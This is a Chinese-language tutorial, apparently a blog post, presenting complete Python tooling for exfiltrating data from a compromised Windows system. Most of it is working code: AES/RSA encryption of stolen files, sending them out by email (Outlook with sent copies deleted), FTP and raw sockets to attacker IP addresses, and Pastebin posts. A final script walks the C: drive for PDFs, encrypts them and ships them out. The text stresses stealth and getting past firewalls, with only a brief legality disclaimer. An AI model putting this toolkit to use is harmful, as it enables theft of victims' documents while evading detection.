数据渗透实战:加密数据的提取与传输
在网络渗透中,获取目标网络的访问权限只是战斗的一部分。为了充分利用这种访问权限,我们需要能够从目标系统中提取文档、电子表格或其他数据。然而,根据目标系统的防御机制,数据提取这一步可能会很棘手。接下来,我们将创建一些工具,用于提取加密数据,并通过三种方法(电子邮件、文件传输和向网络服务器发帖)将其从系统中传输出来。
1. 加密和解密文件
我们使用
pycryptodomex
包进行加密任务,可通过以下命令安装:
$ pip install pycryptodomex
打开
cryptor.py
文件,导入所需的库:
from Cryptodome.Cipher import AES, PKCS1_OAEP
from Cryptodome.PublicKey import RSA
from Cryptodome.Random import get_random_bytes
from io import BytesIO
import base64
import zlib
我们将创建一个混合加密过程,结合对称和非对称加密的优点。
AES
密码是对称加密的示例,它使用单个密钥进行加密和解密,速度快且能处理大量文本,用于加密我们要提取的信息。
RSA
密码是非对称加密,使用公钥/私钥技术,适合加密小信息,用于加密
AES
加密中使用的单个密钥。
在开始加密或解密之前,我们需要为非对称
RSA
加密创建公钥和私钥,添加
generate
函数到
cryptor.py
:
def generate():
new_key = RSA.generate(2048)
private_key = new_key.exportKey()
public_key = new_key.publickey().exportKey()
with open('key.pri', 'wb') as f:
f.write(private_key)
with open('key.pub', 'wb') as f:
f.write(public_key)
创建一个辅助函数来获取公钥或私钥:
def get_rsa_cipher(keytype):
with open(f'key.{keytype}') as f:
key = f.read()
rsakey = RSA.importKey(key)
return (PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes())
加密函数:
def encrypt(plaintext):
compressed_text = zlib.compress(plaintext)
session_key = get_random_bytes(16)
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text)
cipher_rsa, _ = get_rsa_cipher('pub')
encrypted_session_key = cipher_rsa.encrypt(session_key)
msg_payload = encrypted_session_key + cipher_aes.nonce + tag + ciphertext
encrypted = base64.encodebytes(msg_payload)
return(encrypted)
解密函数:
def decrypt(encrypted):
encrypted_bytes = BytesIO(base64.decodebytes(encrypted))
cipher_rsa, keysize_in_bytes = get_rsa_cipher('pri')
encrypted_session_key = encrypted_bytes.read(keysize_in_bytes)
nonce = encrypted_bytes.read(16)
tag = encrypted_bytes.read(16)
ciphertext = encrypted_bytes.read()
session_key = cipher_rsa.decrypt(encrypted_session_key)
cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
decrypted = cipher_aes.decrypt_and_verify(ciphertext, tag)
plaintext = zlib.decompress(decrypted)
return plaintext
测试函数:
if __name__ == '__main__':
generate()
plaintext = b'hey there you.'
print(decrypt(encrypt(plaintext)))
2. 电子邮件提取
打开
email_exfil.py
文件,用于通过电子邮件发送加密信息:
import smtplib
import time
import win32com.client
smtp_server = 'smtp.example.com'
smtp_port = 587
smtp_acct = 'tim@example.com'
smtp_password = 'seKret'
tgt_accts = ['tim@elsewhere.com']
平台无关的电子邮件函数:
def plain_email(subject, contents):
message = f'Subject: {subject}\nFrom {smtp_acct}\n'
message += f'To: {tgt_accts}\n\n{contents.decode()}'
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_acct, smtp_password)
server.sendmail(smtp_acct, tgt_accts, message)
time.sleep(1)
server.quit()
Windows特定的电子邮件函数:
def outlook(subject, contents):
outlook = win32com.client.Dispatch("Outlook.Application")
message = outlook.CreateItem(0)
message.DeleteAfterSubmit = True
message.Subject = subject
message.Body = contents.decode()
message.To = tgt_accts[0]
message.Send()
测试函数:
if __name__ == '__main__':
plain_email('test2 message', 'attack at dawn.')
3. 文件传输提取
打开
transmit_exfil.py
文件,用于通过文件传输发送加密信息:
import ftplib
import os
import socket
import win32file
平台无关的文件传输函数:
def plain_ftp(docpath, server='192.168.1.203'):
ftp = ftplib.FTP(server)
ftp.login("anonymous", "anon@example.com")
ftp.cwd('/pub/')
ftp.storbinary("STOR " + os.path.basename(docpath),
open(docpath, "rb"), 1024)
ftp.quit()
Windows特定的文件传输函数:
def transmit(document_path):
client = socket.socket()
client.connect(('192.168.1.207', 10000))
with open(document_path, 'rb') as f:
win32file.TransmitFile(
client,
win32file._get_osfhandle(f.fileno()),
0, 0, None, 0, b'', b'')
测试函数:
if __name__ == '__main__':
transmit('./mysecrets.txt')
4. 网络服务器提取
打开
paste_exfil.py
文件,用于通过向网络服务器发帖发送加密信息:
from win32com import client
import os
import random
import requests
import time
username = 'tim'
password = 'seKret'
api_dev_key = 'cd3xxx001xxxx02'
平台无关的网络服务器函数:
def plain_paste(title, contents):
login_url = 'https://pastebin.com/api/api_login.php'
login_data = {
'api_dev_key': api_dev_key,
'api_user_name': username,
'api_user_password': password,
}
r = requests.post(login_url, data=login_data)
api_user_key = r.text
paste_url = 'https://pastebin.com/api/api_post.php'
paste_data = {
'api_paste_name': title,
'api_paste_code': contents.decode(),
'api_dev_key': api_dev_key,
'api_user_key': api_user_key,
'api_option': 'paste',
'api_paste_private': 0,
}
r = requests.post(paste_url, data=paste_data)
print(r.status_code)
print(r.text)
Windows特定的网络服务器函数:
def wait_for_browser(browser):
while browser.ReadyState != 4 and browser.ReadyState != 'complete':
time.sleep(0.1)
def random_sleep():
time.sleep(random.randint(5,10))
def login(ie):
full_doc = ie.Document.all
for elem in full_doc:
if elem.id == 'loginform-username':
elem.setAttribute('value', username)
elif elem.id == 'loginform-password':
elem.setAttribute('value', password)
random_sleep()
if ie.Document.forms[0].id == 'w0':
ie.document.forms[0].submit()
wait_for_browser(ie)
def submit(ie, title, contents):
full_doc = ie.Document.all
for elem in full_doc:
if elem.id == 'postform-name':
elem.setAttribute('value', title)
elif elem.id == 'postform-text':
elem.setAttribute('value', contents)
if ie.Document.forms[0].id == 'w0':
ie.document.forms[0].submit()
random_sleep()
wait_for_browser(ie)
def ie_paste(title, contents):
ie = client.Dispatch('InternetExplorer.Application')
ie.Visible = 1
ie.Navigate('https://pastebin.com/login')
wait_for_browser(ie)
login(ie)
ie.Navigate('https://pastebin.com/')
wait_for_browser(ie)
submit(ie, title, contents.decode())
ie.Quit()
if __name__ == '__main__':
ie_paste('title', 'contents')
5. 整合所有方法
创建
exfil.py
文件,将所有提取方法整合在一起:
from cryptor import encrypt, decrypt
from email_exfil import outlook, plain_email
from transmit_exfil import plain_ftp, transmit
from paste_exfil import ie_paste, plain_paste
import os
EXFIL = {
'outlook': outlook,
'plain_email': plain_email,
'plain_ftp': plain_ftp,
'transmit': transmit,
'ie_paste': ie_paste,
'plain_paste': plain_paste,
}
def find_docs(doc_type='.pdf'):
for parent, _, filenames in os.walk('c:\\'):
for filename in filenames:
if filename.endswith(doc_type):
document_path = os.path.join(parent, filename)
yield document_path
def exfiltrate(document_path, method):
if method in ['transmit', 'plain_ftp']:
filename = f'c:\\windows\\temp\\{os.path.basename(document_path)}'
with open(document_path, 'rb') as f0:
contents = f0.read()
with open(filename, 'wb') as f1:
f1.write(encrypt(contents))
EXFIL[method](filename)
os.unlink(filename)
else:
with open(document_path, 'rb') as f:
contents = f.read()
title = os.path.basename(document_path)
contents = encrypt(contents)
EXFIL[method](title, contents)
流程图
graph LR
classDef startend fill:#F5EBFF,stroke:#BE8FED,stroke-width:2px;
classDef process fill:#E5F6FF,stroke:#73A6FF,stroke-width:2px;
classDef decision fill:#FFF6CC,stroke:#FFBC52,stroke-width:2px;
A([开始]):::startend --> B(生成公钥和私钥):::process
B --> C(选择提取方法):::process
C --> D{方法类型}:::decision
D -->|电子邮件| E(加密信息):::process
D -->|文件传输| F(加密文件):::process
D -->|网络服务器| G(加密内容):::process
E --> H(发送邮件):::process
F --> I(传输文件):::process
G --> J(发布内容):::process
H --> K([结束]):::startend
I --> K
J --> K
总结
通过以上步骤,我们实现了加密数据的提取和传输。整个过程包括文件的加密和解密、通过不同方式(电子邮件、文件传输、网络服务器)进行数据渗透,以及将这些方法整合在一起。在实际应用中,我们可以根据目标系统的环境和防御机制选择合适的渗透方法。同时,需要注意遵守法律法规,仅在合法授权的情况下进行相关操作。
数据渗透实战:加密数据的提取与传输
6. 各方法的特点与适用场景
为了更清晰地了解不同数据提取方法的特点和适用场景,我们可以通过以下表格进行对比:
| 提取方法 | 平台相关性 | 优点 | 缺点 | 适用场景 |
| — | — | — | — | — |
| 电子邮件提取 | 有平台无关和Windows特定两种 | 操作相对简单,可利用常见的邮件服务,隐蔽性较好 | 可能受到邮件服务器的限制,如大小限制、反垃圾邮件机制等 | 目标系统可以访问邮件服务器,且需要在一定隐蔽性下传输数据 |
| 文件传输提取 | 有平台无关和Windows特定两种 | 可以直接传输文件,速度相对较快 | 需要目标系统开放相应的端口,且可能被防火墙拦截 | 目标系统可以访问FTP服务器或特定的监听端口,需要快速传输文件 |
| 网络服务器提取 | 有平台无关和Windows特定两种 | 可以利用知名网站绕过防火墙的限制,隐蔽性高 | 需要在目标网站注册账号,且依赖网站的稳定性 | 目标系统可以访问互联网,且需要绕过防火墙的限制传输数据 |
7. 操作步骤总结
下面我们将整个数据渗透过程的操作步骤进行总结,以方便大家在实际应用中参考:
1.
加密和解密文件
:
- 安装
pycryptodomex
包:
pip install pycryptodomex
- 打开
cryptor.py
文件,编写加密和解密函数,生成公钥和私钥。
- 测试加密和解密功能:
if __name__ == '__main__':
generate()
plaintext = b'hey there you.'
print(decrypt(encrypt(plaintext)))
-
电子邮件提取
:
-
打开
email_exfil.py文件,配置SMTP服务器信息。 - 编写平台无关和Windows特定的电子邮件函数。
- 测试电子邮件发送功能:
-
打开
if __name__ == '__main__':
plain_email('test2 message', 'attack at dawn.')
-
文件传输提取
:
-
打开
transmit_exfil.py文件,导入必要的库。 - 编写平台无关和Windows特定的文件传输函数。
- 测试文件传输功能:
-
打开
if __name__ == '__main__':
transmit('./mysecrets.txt')
-
网络服务器提取
:
-
打开
paste_exfil.py文件,配置目标网站的账号信息。 - 编写平台无关和Windows特定的网络服务器函数。
- 测试网络服务器发布功能:
-
打开
if __name__ == '__main__':
ie_paste('title', 'contents')
-
整合所有方法
:
-
创建
exfil.py文件,导入所有提取方法的函数。 - 编写查找文档和提取数据的函数。
-
调用
exfiltrate函数进行数据提取:
-
创建
# 示例调用
document_path = 'path/to/your/document.pdf'
method = 'plain_email'
exfiltrate(document_path, method)
8. 注意事项
在进行数据渗透操作时,需要注意以下几点:
-
合法性
:确保你的操作是在合法授权的情况下进行的,避免触犯法律法规。
-
隐蔽性
:尽量选择隐蔽性高的方法,避免被目标系统的防御机制发现。
-
稳定性
:在选择提取方法时,要考虑目标系统的网络环境和稳定性,确保数据能够成功传输。
-
安全性
:对提取的数据进行加密处理,防止数据在传输过程中被窃取。
流程图(数据提取流程细化)
graph LR
classDef startend fill:#F5EBFF,stroke:#BE8FED,stroke-width:2px;
classDef process fill:#E5F6FF,stroke:#73A6FF,stroke-width:2px;
classDef decision fill:#FFF6CC,stroke:#FFBC52,stroke-width:2px;
A([开始]):::startend --> B(生成公钥和私钥):::process
B --> C(扫描目标系统环境):::process
C --> D{选择提取方法}:::decision
D -->|电子邮件| E(准备邮件信息):::process
D -->|文件传输| F(准备文件路径):::process
D -->|网络服务器| G(准备账号信息):::process
E --> H(加密邮件内容):::process
F --> I(加密文件内容):::process
G --> J(加密发布内容):::process
H --> K(发送邮件):::process
I --> L(传输文件):::process
J --> M(发布内容):::process
K --> N{邮件发送成功?}:::decision
L --> O{文件传输成功?}:::decision
M --> P{内容发布成功?}:::decision
N -->|是| Q([结束]):::startend
N -->|否| R(检查邮件配置):::process
O -->|是| Q
O -->|否| S(检查网络和端口):::process
P -->|是| Q
P -->|否| T(检查账号和网站状态):::process
R --> E
S --> F
T --> G
总结
本文详细介绍了加密数据的提取和传输方法,包括文件的加密和解密、通过电子邮件、文件传输和网络服务器进行数据渗透,以及将这些方法整合在一起。通过对比不同方法的特点和适用场景,我们可以根据目标系统的实际情况选择合适的渗透方法。同时,在操作过程中要注意合法性、隐蔽性、稳定性和安全性等问题。希望这些内容能够帮助大家在数据渗透领域有所收获。
以上内容仅供学习和研究使用,请确保在合法合规的前提下进行相关操作。
超级会员免费看

被折叠的 条评论
为什么被折叠?



